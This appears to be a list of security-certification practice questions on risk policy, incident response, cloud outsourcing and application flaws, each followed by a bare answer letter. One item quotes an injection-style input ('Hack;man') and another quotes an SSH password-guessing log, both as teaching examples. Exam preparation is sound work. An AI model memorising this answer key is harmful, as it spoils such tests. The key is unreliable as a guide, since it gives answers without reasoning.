The technology steering committee is struggling with increased requirements stemming from an increase in telecommuting. The organization has not addressed telecommuting in the past. The implementation of a new SSL-VPN and a VOIP phone solution enables personnel to work from remote locations with corporate assets. Which of the following steps must the committee take FIRST to outline senior management's directives? A. Develop an information classification scheme that will properly secure data on corporate systems. B. Implement database views and constrained interfaces so remote users will be unable to access PII from personal equipment. C. Publish a policy that addresses the security requirements for working remotely with company equipment. D. Work with mid-level managers to identify and document the proper procedures for telecommuting.

C

There have been some failures of the company's internal facing website. A security engineer has found the WAF to be the root cause of the failures. System logs show that the WAF has been unavailable for 14 hours over the past month, in four separate situations. One of these situations was a two hour scheduled maintenance time, aimed at improving the stability of the WAF. Using the MTTR based on the last month's performance figures, which of the following calculations is the percentage of uptime assuming there were 722 hours in the month? A. 92.24 percent B. 98.06 percent C. 98.34 percent D. 99.72 percent

C

Which of the following activities is commonly deemed "OUT OF SCOPE" when undertaking a penetration test? A. Test password complexity of all login fields and input validation of form fields B. Reverse engineering any thick client software that has been provided for the test C. Undertaking network-based denial of service attacks in production environment D. Attempting to perform blind SQL injection and reflected cross-site scripting attacks E. Running a vulnerability scanning tool to assess network and host weaknesses

C

A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization's customer database. The database will be accessed by both the company's users and its customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select TWO). A. Physical penetration test of the datacenter to ensure there are appropriate controls. B. Penetration testing of the solution to ensure that the customer data is well protected. C. Security clauses are implemented into the contract such as the right to audit. D. Review of the organizations security policies, procedures and relevant hosting certifications. E. Code review of the solution to ensure that there are no back doors located in the software.

C, D

Company XYZ has purchased and is now deploying a new HTML5 application. The company wants to hire a penetration tester to evaluate the security of the client and server components of the proprietary web application before launch. Which of the following is the penetration tester MOST likely to use while performing black box testing of the security of the company's purchased application? (Select TWO). A. Code review B. Sandbox C. Local proxy D. Fuzzer E. Port scanner

C, D

A security administrator is shown the following log excerpt from a Unix system: 2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2 2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2 2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2 2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2 2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2 2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2 Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO). A. An authorized administrator has logged into the root account remotely. B. The administrator should disable remote root logins. C. Isolate the system immediately and begin forensic analysis on the host. D. A remote attacker has compromised the root account using a buffer overflow in sshd. E. A remote attacker has guessed the root password using a dictionary attack. F. Use iptables to immediately DROP connections from the IP 198.51.100.23. G. A remote attacker has compromised the private key of the root account. H. Change the root password immediately to a password not found in a dictionary.

C, E

An attacker attempts to create a DoS event against the VoIP system of a company. The attacker uses a tool to flood the network with a large number of SIP INVITE traffic. Which of the following would be LEAST likely to thwart such an attack? A. Install IDS/IPS systems on the network B. Force all SIP communication to be encrypted C. Create separate VLANs for voice and data traffic D. Implement QoS parameters on the switches

D

An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select THREE). A. Implement hashing of data in transit B. Session recording and capture C. Disable cross session cut and paste D. Monitor approved credit accounts E. User access audit reviews F. Source IP whitelisting

C, E, F

An assessor identifies automated methods for identifying security control compliance through validating sensors at the endpoint and at Tier 2. Which of the following practices satisfy continuous monitoring of authorized information systems? A. Independent verification and validation B. Security test and evaluation C. Risk assessment D. Ongoing authorization

D

A Chief Financial Officer (CFO) has raised concerns with the Chief Information Security Officer (CISO) because money has been spent on IT security infrastructure, but corporate assets are still found to be vulnerable. The business recently funded a patch management product and SOE hardening initiative. A third party auditor reported findings against the business because some systems were missing patches. Which of the following statements BEST describes this situation? A. The CFO is at fault because they are responsible for patching the systems and have already been given patch management and SOE hardening products. B. The audit findings are invalid because remedial steps have already been applied to patch servers and the remediation takes time to complete. C. The CISO has not selected the correct controls and the audit findings should be assigned to them instead of the CFO. D. Security controls are generally never 100% effective and gaps should be explained to stakeholders and managed accordingly.

D

A company is facing penalties for failing to effectively comply with e-discovery requests. Which of the following could reduce the overall risk to the company from this issue? A. Establish a policy that only allows filesystem encryption and disallows the use of individual file encryption. B. Require each user to log passwords used for file encryption to a decentralized repository. C. Permit users to only encrypt individual files using their domain password and archive all old user passwords. D. Allow encryption only by tools that use public keys from the existing escrowed corporate PKI.

D

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input? A. Client side input validation B. Stored procedure C. Encrypting credit card details D. Regular expression matching

D

A human resources manager at a software development company has been tasked with recruiting personnel for a new cyber defense division in the company. This division will require personnel to have high technology skills and industry certifications. Which of the following is the BEST method for this manager to gain insight into this industry to execute the task? A. Interview candidates, attend training, and hire a staffing company that specializes in technology jobs B. Interview employees and managers to discover the industry hot topics and trends C. Attend meetings with staff, internal training, and become certified in software management D. Attend conferences, webinars, and training to remain current with the industry and job requirements

D

A member of the software development team has requested advice from the security team to implement a new secure lab for testing malware. Which of the following is the NEXT step that the security team should take? A. Purchase new hardware to keep the malware isolated. B. Develop a policy to outline what will be required in the secure lab. C. Construct a series of VMs to host the malware environment. D. Create a proposal and present it to management for approval.

D

A new internal network segmentation solution will be implemented into the enterprise that consists of 200 internal firewalls. As part of running a pilot exercise, it was determined that it takes three changes to deploy a new application onto the network before it is operational. Security now has a significant effect on overall availability. Which of the following would be the FIRST process to perform as a result of these findings? A. Lower the SLA to a more tolerable level and perform a risk assessment to see if the solution could be met by another solution. Reuse the firewall infrastructure on other projects. B. Perform a cost benefit analysis and implement the solution as it stands as long as the risks are understood by the business owners around the availability issues. Decrease the current SLA expectations to match the new solution. C. Engage internal auditors to perform a review of the project to determine why and how the project did not meet the security requirements. As part of the review ask them to review the control effectiveness. D. Review to determine if control effectiveness is in line with the complexity of the solution. Determine if the requirements can be met with a simpler solution.

D

A new piece of ransomware got installed on a company's backup server which encrypted the hard drives containing the OS and backup application configuration but did not affect the deduplication data hard drives. During the incident response, the company finds that all backup tapes for this server are also corrupt. Which of the following is the PRIMARY concern? A. Determining how to install HIPS across all server platforms to prevent future incidents B. Preventing the ransomware from re-infecting the server upon restore C. Validating the integrity of the deduplicated data D. Restoring the data will be difficult without the application configuration

D

A security administrator wants to calculate the ROI of a security design which includes the purchase of new equipment. The equipment costs $50,000 and it will take 50 hours to install and configure the equipment. The administrator plans to hire a contractor at a rate of $100/hour to do the installation. Given that the new design and equipment will allow the company to increase revenue and make an additional $100,000 on the first year, which of the following is the ROI expressed as a percentage for the first year? A. -45 percent B. 5.5 percent C. 45 percent D. 82 percent

D

A security manager has received the following email from the Chief Financial Officer (CFO): "While I am concerned about the security of the proprietary financial data in our ERP application, we have had a lot of turnover in the accounting group and I am having a difficult time meeting our monthly performance targets. As things currently stand, we do not allow employees to work from home but this is something I am willing to allow so we can get back on track. What should we do first to securely enable this capability for my group?" Based on the information provided, which of the following would be the MOST appropriate response to the CFO? A. Remote access to the ERP tool introduces additional security vulnerabilities and should not be allowed. B. Allow VNC access to corporate desktops from personal computers for the users working from home. C. Allow terminal services access from personal computers after the CFO provides a list of the users working from home. D. Work with the executive management team to revise policies before allowing any remote access.

D

A security policy states that all applications on the network must have a password length of eight characters. There are three legacy applications on the network that cannot meet this policy. One system will be upgraded in six months, and two are not expected to be upgraded or removed from the network. Which of the following processes should be followed? A. Establish a risk matrix B. Inherit the risk for six months C. Provide a business justification to avoid the risk D. Provide a business justification for a risk exception

D

The Chief Executive Officer (CEO) of a large prestigious enterprise has decided to reduce business costs by outsourcing to a third party company in another country. Functions to be outsourced include: business analysts, testing, software development and back office functions that deal with the processing of customer data. The Chief Risk Officer (CRO) is concerned about the outsourcing plans. Which of the following risks are MOST likely to occur if adequate controls are not implemented? A. Geographical regulation issues, loss of intellectual property and interoperability agreement issues B. Improper handling of client data, interoperability agreement issues and regulatory issues C. Cultural differences, increased cost of doing business and divestiture issues D. Improper handling of customer data, loss of intellectual property and reputation damage

D

The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats? A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates. B. Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs. C. Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs. D. Behavior based IPS with a communication link to a cloud based vulnerability and threat feed.

D

The Information Security Officer (ISO) is reviewing a summary of the findings from the last COOP tabletop exercise. The Chief Information Officer (CIO) wants to determine which additional controls must be implemented to reduce the risk of an extended customer service outage due to the VoIP system being unavailable. Which of the following BEST describes the scenario presented and the document the ISO is reviewing? A. The ISO is evaluating the business implications of a recent telephone system failure within the BIA. B. The ISO is investigating the impact of a possible downtime of the messaging system within the RA. C. The ISO is calculating the budget adjustment needed to ensure audio/video system redundancy within the RFQ. D. The ISO is assessing the effect of a simulated downtime involving the telecommunication system within the AAR.

D

The security engineer receives an incident ticket from the helpdesk stating that DNS lookup requests are no longer working from the office. The network team has ensured that Layer 2 and Layer 3 connectivity are working. Which of the following tools would a security engineer use to make sure the DNS server is listening on port 53? A. PING B. NESSUS C. NSLOOKUP D. NMAP

D

select id, firstname, lastname from authors User input= firstname= Hack;man lastname=Johnson Which of the following types of attacks is the user attempting? A. XML injection B. Command injection C. Cross-site scripting D. SQL injection

D

A company is in the process of implementing a new front end user interface for its customers, the goal is to provide them with more self service functionality. The application has been written by developers over the last six months and the project is currently in the test phase. Which of the following security activities should be implemented as part of the SDL in order to provide the MOST security coverage over the solution? (Select TWO). A. Perform unit testing of the binary code B. Perform code review over a sampling of the front end source code C. Perform black box penetration testing over the solution D. Perform grey box penetration testing over the solution E. Perform static code review over the front end source code

D, E

At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO). A. Add guests with more memory to increase capacity of the infrastructure. B. A backup is running on the thin clients at 9am every morning. C. Install more memory in the thin clients to handle the increased load while booting. D. Booting all the lab desktops at the same time is creating excessive I/O. E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity. F. Install faster SSD drives in the storage system used in the infrastructure. G. The lab desktops are saturating the network while booting. H. The lab desktops are using more memory than is available to the host systems.

D, F

An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials? A. Ensure the SaaS provider supports dual factor authentication. B. Ensure the SaaS provider supports encrypted password transmission and storage. C. Ensure the SaaS provider supports secure hash file exchange. D. Ensure the SaaS provider supports role-based access control. E. Ensure the SaaS provider supports directory services federation.

E

Executive management is asking for a new manufacturing control and workflow automation solution. This application will facilitate management of proprietary information and closely guarded corporate trade secrets. The information security team has been a part of the department meetings and come away with the following notes: -Human resources would like complete access to employee data stored in the application. They would like automated data interchange with the employee management application, a cloud-based SaaS application. -Sales is asking for easy order tracking to facilitate feedback to customers. -Legal is asking for adequate safeguards to protect trade secrets. They are also concerned with data ownership questions and legal jurisdiction. -Manufacturing is asking for ease of use. Employees working the assembly line cannot be bothered with additional steps or overhead. System interaction needs to be quick and easy. -Quality assurance is concerned about managing the end product and tracking overall performance of the product being produced. They would like read-only access to the entire workflow process for monitoring and baselining. The favored solution is a user friendly software application that would be hosted onsite. It has extensive ACL functionality, but also has readily available APIs for extensibility. It supports readonly access, kiosk automation, custom fields, and data encryption. Which of the following departments' request is in contrast to the favored solution? A. Manufacturing B. Legal C. Sales D. Quality assurance E. Human resources

E

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue? A. Integer overflow B. Click-jacking C. Race condition D. SQL injection E. Use after free F. Input validation

E